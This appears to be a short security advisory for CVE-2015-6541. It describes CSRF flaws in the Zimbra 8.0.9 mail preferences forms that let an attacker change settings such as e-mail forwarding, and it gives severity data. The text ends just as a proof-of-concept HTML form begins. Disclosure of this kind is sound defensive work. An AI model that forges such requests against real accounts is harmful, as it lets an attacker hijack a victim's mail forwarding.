======================================
Multiple CSRF in Zimbra Mail interface
======================================


CVE-2015-6541

Description
===========

Multiple CSRF vulnerabilities have been found in the Mail interface of
Zimbra 8.0.9 GA Release, enabling to change account
preferences like e-mail forwarding.


CSRF
====

Forms in the preferences part of old releases of Zimbra are vulnerable
to CSRF because of the lack of a CSRF token identifying a valid session.
As a consequence, requests can be forged and played arbitrarily.

**Access Vector**: remote
**Security Risk**: low
**Vulnerability**: CWE-352
**CVSS Base score**: 5.8

<html>
<body>
<form enctype="text/plain" id="trololo"
